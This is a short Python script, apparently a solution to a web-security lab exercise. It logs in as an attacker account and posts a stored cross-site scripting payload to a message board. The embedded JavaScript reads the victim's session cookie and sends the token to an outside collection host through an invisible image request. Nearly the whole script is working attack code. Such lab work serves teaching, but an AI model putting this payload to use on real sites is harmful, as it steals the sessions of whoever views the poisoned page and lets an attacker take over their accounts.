import os, requests
from urllib.parse import urlencode

PROTOCOL = "http"
HOST = "10.0.0.2"
PORT = "80"
BASE = PROTOCOL + "://" + HOST + ":" + PORT

# Mallory's credentials
mallory = {
    'email': 'mallory@example.com',
    'password': 'pass4mallory'
}

payload = '<script type="text/javascript">cookie = document.cookie;token = cookie.split("=")[1];var path = "http://token.seclab.space/set.php?sid=1003410588&token=" + token;console.log(path);var img = new Image(1, 1);img.src= path;document.body.appendChild(img);</script>'


# reset the application
requests.get(BASE + '/reset.php')

# #######  your attack goes here  #######
with requests.Session() as s:

    res = s.post(BASE + '/signin.php', data=mallory)
    res = s.post(BASE + '/post.php', data={'msg': payload})






# #########################################
